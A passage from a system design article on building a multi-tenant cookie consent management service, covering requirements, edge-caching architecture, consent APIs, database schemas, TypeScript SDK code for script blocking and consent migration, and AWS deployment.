| Consent banner rendering             | Core     | Customizable per tenant, geo-aware                                  |
| Consent collection                   | Core     | Granular per category (essential, functional, analytics, marketing) |
| Consent storage                      | Core     | Persisted with audit trail                                          |
| Consent check API                    | Core     | Called on every page load, must be fast                             |
| Regulation detection                 | Core     | Auto-detect GDPR, CCPA, LGPD based on user location                 |
| Multi-tenant configuration           | Core     | Each website has unique settings                                    |
| Anonymous consent tracking           | Core     | Device-based consent before login                                   |
| Anonymous-to-authenticated migration | Core     | Merge consent on user login                                         |
| Consent withdrawal                   | Core     | As easy as giving consent (GDPR requirement)                        |
| Consent proof/audit                  | Core     | Immutable record for regulatory audits                              |
| A/B testing for banners              | Extended | Test banner designs, measure consent rates                          |
| TCF 2.2 support                      | Extended | IAB Transparency & Consent Framework                                |
| Google Consent Mode                  | Extended | Integration with Google services                                    |

### Non-Functional Requirements

| Requirement            | Target         | Rationale                                                  |
| ---------------------- | -------------- | ---------------------------------------------------------- |
| Availability           | 99.99%         | Consent blocks page functionality; downtime = broken sites |
| Consent check latency  | p99 < 50ms     | Consent check is render-blocking                           |
| Consent update latency | p99 < 200ms    | User-triggered, less time-sensitive                        |
| Read/write ratio       | 100:1          | Every page load reads; only banner interactions write      |
| Tenant count           | 100K+ websites | Multi-tenant SaaS model                                    |
| Daily transactions     | 500M+          | Based on OneTrust scale (450M+/day)                        |
| Data retention         | 7 years        | GDPR audit requirements                                    |
| Consent accuracy       | 100%           | Must never serve wrong consent status                      |

### Scale Estimation

**Traffic Profile:**

| Metric                            | Value   | Calculation                         |
| --------------------------------- | ------- | ----------------------------------- |
| Websites served                   | 100,000 | Multi-tenant SaaS                   |
| Average daily page views per site | 10,000  | Mix of small and large sites        |
| Total daily page views            | 1B      | 100K × 10K                          |
| Consent checks/day                | 1B      | 1:1 with page views                 |
| Consent updates/day               | 10M     | 1% of visitors interact with banner |
| Peak RPS (reads)                  | 50K     | 1B / 86,400 × 4 (peak multiplier)   |
| Peak RPS (writes)                 | 500     | 10M / 86,400 × 4                    |

**Storage:**

```
Consent records: 1B unique visitors × 500 bytes = 500GB
Audit logs: 10M updates/day × 1KB × 365 days × 7 years = 25TB
Tenant configurations: 100K × 50KB = 5GB
SDK assets: 100K variants × 100KB = 10GB CDN
```

**Bandwidth:**

```
Consent checks: 50K RPS × 200 bytes = 10MB/s
SDK delivery: 10K RPS × 50KB = 500MB/s (CDN handles most)
```

## Design Paths

### Path A: Edge-First Architecture (Latency-Optimized)

**Best when:**

- Consent check latency is critical (advertising, analytics-heavy sites)
- Global audience with low tolerance for slow consent
- High page view volume per user session

**Architecture:**

![Diagram](./diagram-1.svg)

**Key characteristics:**

- Consent SDK served from CDN edge
- Consent status cached at edge with short TTL (60s)
- Cache key: `{tenant_id}:{device_fingerprint}:{regulation}`
- Edge computes regulation based on request geo

**Trade-offs:**

- :white_check_mark: Sub-20ms consent checks from edge cache
- :white_check_mark: Scales infinitely at edge
- :white_check_mark: Origin protected from read traffic
- :x: Stale consent for up to 60 seconds after update
- :x: Cache invalidation complexity on consent change
- :x: Edge compute costs for SDK execution

**Real-world example:** OneTrust serves 450M+ consent transactions daily across 250+ CDN locations. Edge caching enables sub-50ms response times globally.

### Path B: Server-Side Rendering (Compliance-First)

**Best when:**

- Regulatory compliance is paramount (financial services, healthcare)
- Real-time consent accuracy required
- Lower traffic volume, higher value per interaction

**Architecture:**

![Diagram](./diagram-2.svg)

**Key characteristics:**

- Consent fetched server-side before page render
- Consent status embedded in initial HTML
- No client-side consent check needed
- Server has full control over what scripts load

**Trade-offs:**

- :white_check_mark: Always accurate consent (no stale cache)
- :white_check_mark: Full control over script loading
- :white_check_mark: Simpler client-side implementation
- :x: Higher latency (adds to server response time)
- :x: Server must handle all consent checks
- :x: Caching more complex (varies by user)

**Real-world example:** Banking applications requiring strict PCI-DSS compliance use server-side consent to ensure no unauthorized tracking scripts ever load.

### Path Comparison

| Factor                | Path A (Edge-First)           | Path B (Server-Side) |
| --------------------- | ----------------------------- | -------------------- |
| Consent check latency | 10-50ms                       | 50-200ms             |
| Consent accuracy      | Eventual (60s stale)          | Real-time            |
| Infrastructure cost   | Higher (edge compute)         | Lower (centralized)  |
| Client complexity     | Higher (SDK logic)            | Lower                |
| Server load           | Lower                         | Higher               |
| Best for              | High-traffic media/e-commerce | Regulated industries |

### This Article's Focus

This article implements **Path A (Edge-First)** because:

1. Most websites prioritize user experience (fast consent checks)
2. 60-second staleness is acceptable for most consent use cases
3. Read-heavy traffic pattern (100:1) demands edge caching
4. Multi-tenant SaaS requires infrastructure efficiency

Path B details are covered in the [Variations](#variations) section.

## High-Level Design

### Component Overview

| Component          | Responsibility                       | Technology                   |
| ------------------ | ------------------------------------ | ---------------------------- |
| Consent SDK        | Client-side consent management       | JavaScript, edge-cached      |
| Consent Service    | Read/write consent operations        | Node.js/Go + Redis           |
| Regulation Service | Geo-based regulation detection       | MaxMind GeoIP + rules engine |
| Tenant Service     | Multi-tenant configuration           | PostgreSQL + Redis cache     |
| Audit Service      | Immutable consent logging            | Append-only log + S3         |
| Identity Service   | Anonymous-to-authenticated migration | Redis + PostgreSQL           |
| Banner Service     | A/B testing and rendering            | Static CDN + configuration   |

### Request Flow: Consent Check

![Diagram](./diagram-3.svg)

### Request Flow: Consent Update

![Diagram](./diagram-4.svg)

## API Design

### Consent Check API

```http
GET /api/v1/consent
X-Tenant-ID: tenant_abc123
X-Device-ID: fp_xyz789
X-Geo-Country: DE
```

**Response (200 OK):**

```json
{
  "consent_id": "con_abc123xyz",
  "device_id": "fp_xyz789",
  "user_id": null,
  "regulation": "gdpr",
  "status": "partial",
  "categories": {
    "essential": { "consented": true, "required": true },
    "functional": { "consented": true, "required": false },
    "analytics": { "consented": false, "required": false },
    "marketing": { "consented": false, "required": false }
  },
  "consent_timestamp": "2024-03-15T10:30:00Z",
  "policy_version": "v2.3",
  "expires_at": "2025-03-15T10:30:00Z",
  "banner_config": {
    "show_banner": false,
    "banner_version": "v1.2"
  }
}
```

**Cache headers:**

```http
Cache-Control: private, max-age=60
ETag: "abc123"
Vary: X-Device-ID, X-Geo-Country
```

**Error responses:**

- `400 Bad Request`: Missing tenant ID or device ID
- `404 Not Found`: Tenant not configured
- `429 Too Many Requests`: Rate limit exceeded

### Consent Update API

```http
POST /api/v1/consent
X-Tenant-ID: tenant_abc123
X-Device-ID: fp_xyz789
X-Idempotency-Key: idem_123456

{
  "categories": {
    "functional": true,
    "analytics": true,
    "marketing": false
  },
  "policy_version": "v2.3",
  "user_agent": "Mozilla/5.0...",
  "consent_method": "banner_button",
  "banner_version": "v1.2"
}
```

**Response (201 Created):**

```json
{
  "consent_id": "con_abc123xyz",
  "status": "updated",
  "categories": {
    "essential": { "consented": true },
    "functional": { "consented": true },
    "analytics": { "consented": true },
    "marketing": { "consented": false }
  },
  "audit_id": "aud_789xyz",
  "next_renewal": "2025-03-15T10:30:00Z"
}
```

**Idempotency:** Duplicate requests with same idempotency key return cached response.

### Consent Withdrawal API

```http
DELETE /api/v1/consent/categories/marketing
X-Tenant-ID: tenant_abc123
X-Device-ID: fp_xyz789
```

**Response (200 OK):**

```json
{
  "consent_id": "con_abc123xyz",
  "withdrawn_category": "marketing",
  "withdrawn_at": "2024-03-15T11:00:00Z",
  "audit_id": "aud_790xyz"
}
```

**GDPR requirement:** Withdrawal must be as easy as giving consent. Single API call to withdraw specific category.

### Identity Migration API

```http
POST /api/v1/consent/migrate
X-Tenant-ID: tenant_abc123

{
  "device_id": "fp_xyz789",
  "user_id": "user_456",
  "migration_strategy": "device_wins_recent"
}
```

**Response (200 OK):**

```json
{
  "migration_id": "mig_123abc",
  "source": {
    "device_id": "fp_xyz789",
    "consent_timestamp": "2024-03-15T10:30:00Z"
  },
  "target": {
    "user_id": "user_456",
    "consent_timestamp": "2024-03-10T08:00:00Z"
  },
  "result": {
    "strategy_applied": "device_wins_recent",
    "merged_categories": {
      "functional": true,
      "analytics": true,
      "marketing": false
    },
    "conflicts_resolved": [
      {
        "category": "analytics",
        "device_value": true,
        "user_value": false,
        "resolved_value": true,
        "reason": "device consent more recent"
      }
    ]
  },
  "audit_id": "aud_791xyz"
}
```

**Migration strategies:**

- `device_wins_recent`: More recent consent wins (default)
- `user_wins`: Authenticated user consent always wins
- `most_restrictive`: Use most privacy-preserving choice
- `prompt_user`: Flag conflicts for user resolution

### Tenant Configuration API

```http
GET /api/v1/tenants/{tenant_id}/config
```

**Response (200 OK):**

```json
{
  "tenant_id": "tenant_abc123",
  "domain": "example.com",
  "subdomains": ["shop.example.com", "blog.example.com"],
  "categories": [
    {
      "id": "essential",
      "name": "Essential Cookies",
      "description": "Required for basic website functionality",
      "required": true,
      "cookies": ["session_id", "csrf_token"]
    },
    {
      "id": "analytics",
      "name": "Analytics Cookies",
      "description": "Help us understand how visitors use our site",
      "required": false,
      "cookies": ["_ga", "_gid", "_gat"],
      "vendors": ["Google Analytics"]
    }
  ],
  "regulations": {
    "default": "gdpr",
    "overrides": {
      "US-CA": "ccpa",
      "BR": "lgpd"
    }
  },
  "banner": {
    "position": "bottom",
    "theme": "light",
    "show_reject_all": true,
    "consent_renewal_days": 365
  },
  "tcf_enabled": true,
  "google_consent_mode": true
}
```

## Data Modeling

### Consent Record (PostgreSQL)

```sql
CREATE TABLE consent_records (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    tenant_id VARCHAR(50) NOT NULL,
    device_id VARCHAR(100) NOT NULL,
    user_id VARCHAR(100),  -- NULL for anonymous

    -- Consent state
    regulation VARCHAR(20) NOT NULL,  -- gdpr, ccpa, lgpd
    policy_version VARCHAR(20) NOT NULL,
    categories JSONB NOT NULL,
    status VARCHAR(20) DEFAULT 'partial',  -- none, partial, full

    -- Metadata
    ip_country VARCHAR(2),
    user_agent TEXT,
    consent_method VARCHAR(50),  -- banner_accept, banner_reject, api

    -- Timestamps
    created_at TIMESTAMPTZ DEFAULT NOW(),
    updated_at TIMESTAMPTZ DEFAULT NOW(),
    expires_at TIMESTAMPTZ,

    -- Constraints
    UNIQUE (tenant_id, device_id),
    UNIQUE (tenant_id, user_id) WHERE user_id IS NOT NULL
);

-- Indexes for common queries
CREATE INDEX idx_consent_tenant_device ON consent_records(tenant_id, device_id);
CREATE INDEX idx_consent_tenant_user ON consent_records(tenant_id, user_id)
    WHERE user_id IS NOT NULL;
CREATE INDEX idx_consent_expires ON consent_records(expires_at)
    WHERE expires_at IS NOT NULL;
```

**Sharding strategy:** Shard by `tenant_id` to co-locate all consent for a website. High-volume tenants may need dedicated shards.

### Audit Log (Append-Only)

```sql
CREATE TABLE consent_audit (
    id BIGSERIAL PRIMARY KEY,
    consent_id UUID NOT NULL REFERENCES consent_records(id),
    tenant_id VARCHAR(50) NOT NULL,

    -- What changed
    action VARCHAR(20) NOT NULL,  -- create, update, withdraw, migrate
    old_categories JSONB,
    new_categories JSONB,

    -- Context
    policy_version VARCHAR(20),
    ip_address INET,
    user_agent TEXT,
    consent_method VARCHAR(50),
    idempotency_key VARCHAR(100),

    -- Immutable timestamp
    created_at TIMESTAMPTZ DEFAULT NOW(),

    -- No updates allowed
    CONSTRAINT no_updates CHECK (true)
);

-- Partition by month for efficient archival
CREATE TABLE consent_audit_2024_03 PARTITION OF consent_audit
    FOR VALUES FROM ('2024-03-01') TO ('2024-04-01');

-- Index for regulatory queries
CREATE INDEX idx_audit_consent ON consent_audit(consent_id, created_at DESC);
CREATE INDEX idx_audit_tenant_time ON consent_audit(tenant_id, created_at DESC);
```

**Retention policy:** Archive to S3 Glacier after 1 year, retain for 7 years total per GDPR requirements.

### Tenant Configuration (PostgreSQL + Redis)

```sql
CREATE TABLE tenants (
    id VARCHAR(50) PRIMARY KEY,
    domain VARCHAR(255) NOT NULL UNIQUE,
    subdomains TEXT[],

    -- Configuration
    config JSONB NOT NULL,
    banner_config JSONB,

    -- SDK versioning
    sdk_version VARCHAR(20) DEFAULT 'latest',
    custom_sdk_url TEXT,

    -- Status
    status VARCHAR(20) DEFAULT 'active',
    created_at TIMESTAMPTZ DEFAULT NOW(),
    updated_at TIMESTAMPTZ DEFAULT NOW()
);

CREATE INDEX idx_tenants_domain ON tenants(domain);
CREATE INDEX idx_tenants_subdomains ON tenants USING GIN(subdomains);
```

**Redis cache structure:**

```redis
# Tenant config (cached for 5 minutes)
SETEX tenant:config:tenant_abc123 300 "{...json config...}"

# Consent record (cached for 60 seconds)
SETEX consent:tenant_abc123:fp_xyz789 60 "{...consent...}"

# Invalidation on update
DEL consent:tenant_abc123:fp_xyz789
```

### Database Selection Matrix

| Data                | Store                      | Rationale                                    |
| ------------------- | -------------------------- | -------------------------------------------- |
| Consent records     | PostgreSQL + Read replicas | ACID, complex queries, regional distribution |
| Consent cache       | Redis Cluster              | Sub-ms reads, TTL support                    |
| Audit log           | PostgreSQL (partitioned)   | Immutable, time-series queries               |
| Audit archive       | S3 Glacier                 | Cost-effective long-term storage             |
| Tenant config       | PostgreSQL + Redis         | Infrequent updates, high read frequency      |
| SDK assets          | S3 + CloudFront            | Global distribution, versioning              |
| Device fingerprints | Redis                      | Ephemeral, fast lookup                       |

## Low-Level Design

### Consent SDK (Client-Side)

The SDK is the first point of contact for consent management. It must:

1. Generate and persist device fingerprints
2. Fetch and apply consent status
3. Block non-consented scripts
4. Handle consent updates

**SDK initialization:**

```typescript collapse={1-15, 55-70}
// consent-sdk.ts
interface ConsentConfig {
  tenantId: string
  apiEndpoint: string
  categories: CategoryConfig[]
  regulation?: "auto" | "gdpr" | "ccpa" | "lgpd"
  onConsentChange?: (consent: ConsentStatus) => void
}

interface ConsentStatus {
  categories: Record<string, boolean>
  regulation: string
  timestamp: string
  showBanner: boolean
}

class ConsentSDK {
  private config: ConsentConfig
  private deviceId: string
  private consent: ConsentStatus | null = null

  async init(config: ConsentConfig): Promise<void> {
    this.config = config
    this.deviceId = await this.getOrCreateDeviceId()

    // Fetch consent status
    this.consent = await this.fetchConsent()

    // Apply consent immediately
    this.applyConsent(this.consent)

    // Show banner if needed
    if (this.consent.showBanner) {
      this.renderBanner()
    }
  }

  private async getOrCreateDeviceId(): Promise<string> {
    // Check localStorage first
    let deviceId = localStorage.getItem("_consent_device_id")
    if (deviceId) return deviceId

    // Generate fingerprint
    deviceId = await this.generateFingerprint()
    localStorage.setItem("_consent_device_id", deviceId)
    return deviceId
  }

  private async generateFingerprint(): Promise<string> {
    // Collect browser signals (privacy-preserving subset)
    const signals = {
      userAgent: navigator.userAgent,
      language: navigator.language,
      timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
      screenResolution: `${screen.width}x${screen.height}`,
      colorDepth: screen.colorDepth,
      // Avoid canvas fingerprinting (privacy concern)
    }

    // Hash to create stable identifier
    const data = JSON.stringify(signals)
    const hashBuffer = await crypto.subtle.digest("SHA-256", new TextEncoder().encode(data))
    const hashArray = Array.from(new Uint8Array(hashBuffer))
    return (
      "fp_" +
      hashArray
        .map((b) => b.toString(16).padStart(2, "0"))
        .join("")
        .slice(0, 32)
    )
  }
}
```

**Script blocking implementation:**

```typescript collapse={1-10, 45-60}
// script-blocker.ts
interface BlockedScript {
  src: string
  category: string
  type: "script" | "iframe" | "img"
}

const blockedScripts: BlockedScript[] = []

function applyConsent(consent: ConsentStatus): void {
  // Find all scripts with consent requirements
  const scripts = document.querySelectorAll("script[data-consent-category]")

  scripts.forEach((script) => {
    const category = script.getAttribute("data-consent-category")
    const consented = consent.categories[category]

    if (consented) {
      // Enable script
      if (script.getAttribute("data-src")) {
        script.setAttribute("src", script.getAttribute("data-src")!)
        script.removeAttribute("data-src")
      }
      script.removeAttribute("type") // Remove text/plain blocker
    } else {
      // Keep blocked (or block if not already)
      if (script.getAttribute("src")) {
        script.setAttribute("data-src", script.getAttribute("src")!)
        script.removeAttribute("src")
        script.setAttribute("type", "text/plain")
      }
    }
  })

  // Handle dynamically added scripts
  observeNewScripts(consent)
}

function observeNewScripts(consent: ConsentStatus): void {
  const observer = new MutationObserver((mutations) => {
    mutations.forEach((mutation) => {
      mutation.addedNodes.forEach((node) => {
        if (node.nodeName === "SCRIPT") {
          const script = node as HTMLScriptElement
          const category = script.getAttribute("data-consent-category")
          if (category && !consent.categories[category]) {
            // Block dynamically added non-consented script
            script.setAttribute("data-src", script.src)
            script.removeAttribute("src")
            script.type = "text/plain"
          }
        }
      })
    })
  })

  observer.observe(document.documentElement, {
    childList: true,
    subtree: true,
  })
}
```

**Design decisions:**

| Decision                     | Rationale                                          |
| ---------------------------- | -------------------------------------------------- |
| LocalStorage for device ID   | Persists across sessions, faster than cookie       |
| SHA-256 fingerprint          | Stable identifier without invasive fingerprinting  |
| MutationObserver for scripts | Catches dynamically injected tracking scripts      |
| `type="text/plain"` blocking | Browser ignores script content without removing it |

### Anonymous-to-Authenticated Migration

When a user logs in, their anonymous device consent must merge with any existing authenticated consent.

**Migration logic:**

```typescript collapse={1-15, 70-85}
// identity-migration.ts
interface MigrationRequest {
  tenantId: string
  deviceId: string
  userId: string
  strategy: "device_wins_recent" | "user_wins" | "most_restrictive" | "prompt_user"
}

interface ConsentRecord {
  categories: Record<string, boolean>
  timestamp: Date
  source: "device" | "user"
}

async function migrateConsent(request: MigrationRequest): Promise<MigrationResult> {
  const { tenantId, deviceId, userId, strategy } = request

  // Fetch both consent records
  const [deviceConsent, userConsent] = await Promise.all([
    getConsentByDevice(tenantId, deviceId),
    getConsentByUser(tenantId, userId),
  ])

  // If no existing user consent, simply link device consent to user
  if (!userConsent) {
    await linkDeviceToUser(tenantId, deviceId, userId)
    return { migrated: true, conflicts: [] }
  }

  // If no device consent, keep user consent as-is
  if (!deviceConsent) {
    return { migrated: false, reason: "no_device_consent" }
  }

  // Merge based on strategy
  const merged = mergeConsent(deviceConsent, userConsent, strategy)

  // Write merged consent
  await updateUserConsent(tenantId, userId, merged.categories)

  // Audit the migration
  await auditMigration(tenantId, deviceId, userId, deviceConsent, userConsent, merged)

  // Invalidate caches
  await invalidateConsentCache(tenantId, deviceId)
  await invalidateConsentCache(tenantId, userId)

  return merged
}

function mergeConsent(device: ConsentRecord, user: ConsentRecord, strategy: string): MergeResult {
  const categories = new Set([...Object.keys(device.categories), ...Object.keys(user.categories)])

  const merged: Record<string, boolean> = {}
  const conflicts: Conflict[] = []

  for (const category of categories) {
    const deviceValue = device.categories[category]
    const userValue = user.categories[category]

    if (deviceValue === userValue) {
      merged[category] = deviceValue
      continue
    }

    // Conflict resolution based on strategy
    switch (strategy) {
      case "device_wins_recent":
        merged[category] = device.timestamp > user.timestamp ? deviceValue : userValue
        break
      case "user_wins":
        merged[category] = userValue ?? deviceValue
        break
      case "most_restrictive":
        merged[category] = deviceValue === false || userValue === false ? false : true
        break
      case "prompt_user":
        conflicts.push({ category, deviceValue, userValue })
        break
    }
  }

  return { categories: merged, conflicts }
}
```

**Migration flow:**

![Diagram](./diagram-5.svg)

**Edge cases:**

| Scenario                    | Handling                                        |
| --------------------------- | ----------------------------------------------- |
| User has multiple devices   | Each device's consent migrates independently    |
| User logs out and back in   | Device consent may have changed; re-migrate     |
| User clears localStorage    | New device ID generated; fresh consent flow     |
| Conflict with `prompt_user` | Return conflicts to client; user resolves in UI |

### Regulation Detection Service

Automatically detect applicable privacy regulation based on user location.

**Detection logic:**

```typescript collapse={1-12, 50-65}
// regulation-service.ts
import maxmind from "maxmind"

interface RegulationResult {
  regulation: "gdpr" | "ccpa" | "lgpd" | "none"
  country: string
  region?: string
  confidence: "high" | "medium" | "low"
}

const geoDb = await maxmind.open("/data/GeoLite2-City.mmdb")

function detectRegulation(ipAddress: string): RegulationResult {
  const geo = geoDb.get(ipAddress)

  if (!geo || !geo.country) {
    return { regulation: "gdpr", country: "unknown", confidence: "low" }
    // Default to strictest regulation when unknown
  }

  const country = geo.country.iso_code
  const region = geo.subdivisions?.[0]?.iso_code

  // GDPR: EU/EEA countries
  const gdprCountries = [
    "AT",
    "BE",
    "BG",
    "HR",
    "CY",
    "CZ",
    "DK",
    "EE",
    "FI",
    "FR",
    "DE",
    "GR",
    "HU",
    "IE",
    "IT",
    "LV",
    "LT",
    "LU",
    "MT",
    "NL",
    "PL",
    "PT",
    "RO",
    "SK",
    "SI",
    "ES",
    "SE",
    // EEA
    "IS",
    "LI",
    "NO",
    // UK (still applies GDPR-equivalent)
    "GB",
  ]

  if (gdprCountries.includes(country)) {
    return { regulation: "gdpr", country, confidence: "high" }
  }

  // CCPA: California residents
  if (country === "US" && region === "CA") {
    return { regulation: "ccpa", country, region, confidence: "high" }
  }

  // LGPD: Brazil
  if (country === "BR") {
    return { regulation: "lgpd", country, confidence: "high" }
  }

  // Default: no specific regulation (still show banner for best practice)
  return { regulation: "none", country, confidence: "high" }
}

// Tenant-specific overrides
function applyTenantOverrides(detected: RegulationResult, tenantConfig: TenantConfig): RegulationResult {
  const override =
    tenantConfig.regulations.overrides?.[`${detected.country}-${detected.region}`] ||
    tenantConfig.regulations.overrides?.[detected.country]

  if (override) {
    return { ...detected, regulation: override }
  }

  return detected
}
```

**Regulation behavior matrix:**

| Regulation | Consent Model | Default Blocked     | Withdrawal    |
| ---------- | ------------- | ------------------- | ------------- |
| GDPR       | Opt-in        | All non-essential   | Required      |
| CCPA       | Opt-out       | Marketing (if sold) | Required      |
| LGPD       | Opt-in        | All non-essential   | Required      |
| None       | Opt-out       | None                | Best practice |

### Multi-Tenant Configuration Engine

**Configuration hierarchy:**

![Diagram](./diagram-6.svg)

**Configuration resolution:**

```typescript collapse={1-10, 45-60}
// tenant-config.ts
interface ResolvedConfig {
  tenantId: string
  domain: string
  categories: CategoryConfig[]
  banner: BannerConfig
  regulations: RegulationConfig
  sdk: SDKConfig
}

async function resolveConfig(tenantId: string, domain: string): Promise<ResolvedConfig> {
  // Check cache first
  const cacheKey = `tenant:config:${tenantId}:${domain}`
  const cached = await redis.get(cacheKey)
  if (cached) return JSON.parse(cached)

  // Load tenant base config
  const tenant = await db.tenants.findById(tenantId)
  if (!tenant) throw new Error("Tenant not found")

  // Apply domain-specific overrides
  let config = tenant.config
  if (tenant.domainOverrides?.[domain]) {
    config = deepMerge(config, tenant.domainOverrides[domain])
  }

  // Merge with global defaults
  const resolved = deepMerge(GLOBAL_DEFAULTS, config)

  // Cache for 5 minutes
  await redis.setex(cacheKey, 300, JSON.stringify(resolved))

  return resolved
}

// Configuration update propagation
async function updateTenantConfig(tenantId: string, updates: Partial<TenantConfig>): Promise<void> {
  // Update database
  await db.tenants.update(tenantId, updates)

  // Invalidate all cached configs for this tenant
  const keys = await redis.keys(`tenant:config:${tenantId}:*`)
  if (keys.length > 0) {
    await redis.del(...keys)
  }

  // Trigger SDK regeneration if categories changed
  if (updates.categories) {
    await sdkBuildQueue.add({ tenantId, reason: "category_update" })
  }
}
```

### Cache Invalidation Strategy

**Layered cache invalidation:**

![Diagram](./diagram-7.svg)

**Implementation:**

```typescript collapse={1-8, 35-50}
// cache-invalidation.ts
interface InvalidationTarget {
  tenantId: string
  identifier: string // device_id or user_id
  type: "device" | "user"
}

async function invalidateConsentCache(target: InvalidationTarget): Promise<void> {
  const { tenantId, identifier, type } = target

  // 1. Invalidate Redis cache
  const redisKey = `consent:${tenantId}:${identifier}`
  await redis.del(redisKey)

  // 2. Invalidate CDN edge cache
  const edgeKey = `consent/${tenantId}/${identifier}`
  await cdnPurge(edgeKey)

  // 3. Publish invalidation event for any connected clients
  await pubsub.publish(`consent:invalidate:${tenantId}`, {
    identifier,
    type,
    timestamp: Date.now(),
  })
}

// SDK listens for invalidation events
function setupInvalidationListener(tenantId: string): void {
  const eventSource = new EventSource(`/api/v1/consent/events?tenant=${tenantId}`)

  eventSource.onmessage = (event) => {
    const data = JSON.parse(event.data)
    if (data.identifier === currentDeviceId) {
      // Refetch consent immediately
      refreshConsent()
    }
  }
}
```

**Cache TTLs:**

| Cache Layer         | TTL     | Rationale                         |
| ------------------- | ------- | --------------------------------- |
| Edge CDN            | 60s     | Balance freshness vs. origin load |
| Redis (consent)     | 60s     | Match edge TTL                    |
| Redis (config)      | 300s    | Config changes less frequent      |
| Client localStorage | Session | Refresh on page load              |

## Frontend Considerations

### Banner Performance

**Render-blocking mitigation:**

```html collapse={1-5, 20-30}
<!DOCTYPE html>
<html>
  <head>
    <!-- Preconnect to consent API -->
    <link rel="preconnect" href="https://consent.example.com" />

    <!-- Inline critical consent check -->
    <script>
      // Minimal inline script to check localStorage
      ;(function () {
        const consent = localStorage.getItem("_consent_status")
        if (consent) {
          window.__CONSENT_STATUS = JSON.parse(consent)
        }
      })()
    </script>

    <!-- Async load full SDK -->
    <script async src="https://cdn.consent.example.com/sdk/v1/consent.js"></script>
  </head>
  <body>
    <!-- Banner placeholder to prevent CLS -->
    <div id="consent-banner-placeholder" style="height: 0; transition: height 0.3s;"></div>

    <!-- Rest of page content -->
  </body>
</html>
```

**Layout shift prevention:**

```css
/* Reserve space for banner to prevent CLS */
#consent-banner-placeholder {
  position: fixed;
  bottom: 0;
  left: 0;
  right: 0;
  height: 0;
  transition: height 0.3s ease-out;
}

#consent-banner-placeholder.visible {
  height: 200px; /* Match actual banner height */
}

/* Alternative: overlay banner (no layout shift) */
.consent-banner-overlay {
  position: fixed;
  bottom: 0;
  left: 0;
  right: 0;
  z-index: 9999;
  /* Doesn't affect layout */
}
```

### State Management

```typescript collapse={1-10, 45-60}
// consent-state.ts
interface ConsentState {
  // Consent data
  status: ConsentStatus | null
  loading: boolean
  error: Error | null

  // UI state
  bannerVisible: boolean
  preferencesOpen: boolean

  // Pending changes
  pendingCategories: Record<string, boolean>
}

const consentStore = createStore<ConsentState>({
  status: null,
  loading: true,
  error: null,
  bannerVisible: false,
  preferencesOpen: false,
  pendingCategories: {},
})

// Actions
function updateCategory(category: string, value: boolean): void {
  consentStore.update((state) => ({
    ...state,
    pendingCategories: {
      ...state.pendingCategories,
      [category]: value,
    },
  }))
}

async function saveConsent(): Promise<void> {
  const { pendingCategories } = consentStore.get()

  consentStore.update((state) => ({ ...state, loading: true }))

  try {
    const result = await api.updateConsent(pendingCategories)
    consentStore.update((state) => ({
      ...state,
      status: result,
      pendingCategories: {},
      bannerVisible: false,
      loading: false,
    }))

    // Persist to localStorage
    localStorage.setItem("_consent_status", JSON.stringify(result))

    // Apply to scripts
    applyConsent(result)
  } catch (error) {
    consentStore.update((state) => ({
      ...state,
      error,
      loading: false,
    }))
  }
}
```

### Google Consent Mode Integration

```typescript collapse={1-15, 50-65}
// google-consent-mode.ts
interface GoogleConsentState {
  ad_storage: "granted" | "denied"
  ad_user_data: "granted" | "denied"
  ad_personalization: "granted" | "denied"
  analytics_storage: "granted" | "denied"
}

function mapConsentToGoogle(consent: ConsentStatus): GoogleConsentState {
  return {
    ad_storage: consent.categories.marketing ? "granted" : "denied",
    ad_user_data: consent.categories.marketing ? "granted" : "denied",
    ad_personalization: consent.categories.marketing ? "granted" : "denied",
    analytics_storage: consent.categories.analytics ? "granted" : "denied",
  }
}

function initGoogleConsentMode(consent: ConsentStatus): void {
  // Initialize with default (denied) before consent known
  window.dataLayer = window.dataLayer || []
  function gtag(...args: any[]) {
    dataLayer.push(args)
  }

  gtag("consent", "default", {
    ad_storage: "denied",
    ad_user_data: "denied",
    ad_personalization: "denied",
    analytics_storage: "denied",
    wait_for_update: 500, // Wait for consent check
  })

  // Update once consent is known
  const googleConsent = mapConsentToGoogle(consent)
  gtag("consent", "update", googleConsent)
}

// On consent change
function updateGoogleConsent(consent: ConsentStatus): void {
  const googleConsent = mapConsentToGoogle(consent)
  gtag("consent", "update", googleConsent)
}
```

**Google Consent Mode parameters:**

| Parameter          | Maps to           | Description               |
| ------------------ | ----------------- | ------------------------- |
| ad_storage         | Marketing cookies | Storage for advertising   |
| ad_user_data       | Marketing cookies | Sending user data for ads |
| ad_personalization | Marketing cookies | Personalized advertising  |
| analytics_storage  | Analytics cookies | Storage for analytics     |

## Infrastructure Design

### Cloud-Agnostic Components

| Component       | Purpose                        | Requirements                   |
| --------------- | ------------------------------ | ------------------------------ |
| CDN             | SDK delivery, edge caching     | Global PoPs, cache purge API   |
| Key-value store | Consent cache                  | Sub-ms reads, TTL support      |
| Relational DB   | Consent records, tenant config | ACID, read replicas            |
| Object storage  | Audit archives, SDK assets     | Versioning, lifecycle policies |
| Message queue   | Async processing               | Durability, dead letter queue  |
| Geo database    | IP to location                 | Low latency, regular updates   |

### AWS Reference Architecture

![Diagram](./diagram-8.svg)

**Service configuration:**

| Service        | Configuration                     | Rationale                       |
| -------------- | --------------------------------- | ------------------------------- |
| CloudFront     | 250+ PoPs, Lambda@Edge            | Global low-latency SDK delivery |
| Lambda@Edge    | 128MB, 5s timeout                 | Regulation detection at edge    |
| API Gateway    | 10K RPS, WAF                      | Rate limiting, DDoS protection  |
| ECS Fargate    | 2 vCPU, 4GB, Auto-scale 2-50      | Consent API servers             |
| ElastiCache    | Redis Cluster, 3 nodes, r6g.large | Sub-ms consent cache            |
| RDS PostgreSQL | Multi-AZ, db.r6g.xlarge           | Primary consent store           |
| Read Replicas  | eu-west-1, ap-south-1             | Regional read latency           |
| S3             | Intelligent Tiering               | Audit logs with lifecycle       |

### Multi-Region Deployment

![Diagram](./diagram-9.svg)

**Design decisions:**

| Decision               | Rationale                                         |
| ---------------------- | ------------------------------------------------- |
| Single write region    | Simplifies consistency, GDPR compliance (EU data) |
| Regional read replicas | <50ms read latency globally                       |
| Local Redis per region | Sub-ms cache hits, no cross-region calls          |
| Async replication      | Acceptable for consent (eventual consistency)     |

### Self-Hosted Alternatives

| Managed Service | Self-Hosted Option   | Trade-off                            |
| --------------- | -------------------- | ------------------------------------ |
| CloudFront      | Fastly/Cloudflare    | More edge compute options            |
| ElastiCache     | Redis Cluster on EC2 | More control, operational burden     |
